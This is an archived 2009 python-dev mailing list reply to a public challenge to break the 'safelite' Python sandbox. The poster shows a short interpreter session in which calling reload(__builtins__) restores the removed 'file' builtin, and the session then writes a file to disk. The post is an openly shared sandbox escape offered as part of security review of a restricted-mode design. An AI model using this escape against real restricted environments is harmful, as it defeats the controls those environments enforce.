Re: Challenge: Please break this! (was: Reviving
restricted mode)
[Posted March 4, 2009 by jake]
| From: |
| Victor Stinner <victor.stinner-AT-haypocalc.com> |
| To: |
| python-dev-AT-python.org |
| Subject: |
| Re: Challenge: Please break this! (was: Reviving
restricted mode) |
| Date: |
| Mon, 23 Feb 2009 22:12:12 +0100 |
| Message-ID: |
| <200902232212.13039.victor.stinner@haypocalc.com> |
| Archive-link: |
| Article, Thread
|
> The challenge is simple:
>
> * Open a fresh Python interpreter
> * Do: >>> from safelite import FileReader
> * You can use FileReader to read files on your filesystem
> * Now find a way to *write* to the filesystem from your interpreter
Well, the challenge is to get access to a module. And... it's quite simple :-p
$ ./python
>>> from safelite import FileReader
>>> __builtins__.file
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'file'
>>> reload(__builtins__)
<module '__builtin__' (built-in)>
>>> file('0wn3d', 'w').write('w00t\n')
>>>
$ cat 0wn3d
w00t
> Dinner and drinks on me for an evening -- when you are next in London
> or I am in your town -- to the first person who manages to break
> safelite.py and write to the filesystem.
Cool. It's a good reason to go to Pycon UK this yeak ;-)
--
Victor Stinner aka haypo
http://www.haypocalc.com/blog/
_______________________________________________
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: http://mail.python.org/mailman/options/python-dev/python-...
(
Log in to post comments)